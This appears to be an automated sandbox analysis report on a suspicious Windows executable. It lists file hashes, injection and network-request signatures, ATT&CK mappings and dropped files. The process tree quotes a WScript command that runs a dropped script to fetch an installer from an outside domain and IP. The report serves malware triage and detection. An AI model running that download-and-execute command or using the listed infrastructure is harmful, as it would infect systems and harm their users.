ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1

General

Target

ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe
Size

184KB
MD5

444bb4b24d30c65610244f3b1ba37967
SHA1

cbf0ad28d9787409c8f5769d4868916c5b1e6d7c
SHA256

ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1
SHA512

affe2175adeab4a5063dae2ed6ce7a9ad75dab4dd539f1e07847999dfb573d1541a83f647a76e38f57a7ada00cfc506966e60948b0da06127dd262a9c8a5073f
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO38:/7BSH8zUB+nGESaaRvoB7FJNndnp

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
2	1508	WScript.exe
5	1508	WScript.exe
6	1604	WScript.exe
8	1604	WScript.exe
9	1180	WScript.exe
11	1180	WScript.exe
12	1332	WScript.exe
14	1332	WScript.exe
15	1016	WScript.exe
17	1016	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1996 wrote to memory of 1508	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	27
PID 1996 wrote to memory of 1508	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	27
PID 1996 wrote to memory of 1508	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	27
PID 1996 wrote to memory of 1508	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	27
PID 1996 wrote to memory of 1604	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	30
PID 1996 wrote to memory of 1604	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	30
PID 1996 wrote to memory of 1604	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	30
PID 1996 wrote to memory of 1604	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	30
PID 1996 wrote to memory of 1180	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	31
PID 1996 wrote to memory of 1180	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	31
PID 1996 wrote to memory of 1180	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	31
PID 1996 wrote to memory of 1180	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	31
PID 1996 wrote to memory of 1332	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	32
PID 1996 wrote to memory of 1332	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	32
PID 1996 wrote to memory of 1332	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	32
PID 1996 wrote to memory of 1332	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	32
PID 1996 wrote to memory of 1016	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	33
PID 1996 wrote to memory of 1016	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	33
PID 1996 wrote to memory of 1016	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	33
PID 1996 wrote to memory of 1016	1996	ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe	33

C:\Users\Admin\AppData\Local\Temp\ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe
"C:\Users\Admin\AppData\Local\Temp\ab875785c787a462d5b8e8b09cf61d2f049825b69d64db5206a58dc16e999de1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf31FA.js" http://www.djapp.info/?domain=cJKCGCcoic.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf31FA.exe
  2⤵
  - Blocklisted process makes network request
  PID:1508
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf31FA.js" http://www.djapp.info/?domain=cJKCGCcoic.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf31FA.exe
  2⤵
  - Blocklisted process makes network request
  PID:1604
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf31FA.js" http://www.djapp.info/?domain=cJKCGCcoic.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf31FA.exe
  2⤵
  - Blocklisted process makes network request
  PID:1180
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf31FA.js" http://www.djapp.info/?domain=cJKCGCcoic.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf31FA.exe
  2⤵
  - Blocklisted process makes network request
  PID:1332
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf31FA.js" http://www.djapp.info/?domain=cJKCGCcoic.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf31FA.exe
  2⤵
  - Blocklisted process makes network request
  PID:1016

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fuf31FA.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\49H9C2L8.txt

Filesize
99B

MD5
083be85eac6651159c8c96e4d821a4af

SHA1
5c8e4533af48057b63da3d783f1a223e6c831736

SHA256
f4e2541f8fabb4d9a8e0385f13d4e5b07c20ee1fcd70fe43ab57ca459d9c8f11

SHA512
fdcf331581adba9eb737b27df9280f5688c8cd32559093881eaf935fa325f3125e1af886f4536d71856dc553b264a61bf12d30eef8492e63e9b1c99361a9887b

Download Submit
memory/1016-65-0x0000000000000000-mapping.dmp

Download
memory/1180-61-0x0000000000000000-mapping.dmp

Download
memory/1332-63-0x0000000000000000-mapping.dmp

Download
memory/1508-55-0x0000000000000000-mapping.dmp

Download
memory/1604-58-0x0000000000000000-mapping.dmp

Download
memory/1996-54-0x0000000076171000-0x0000000076173000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing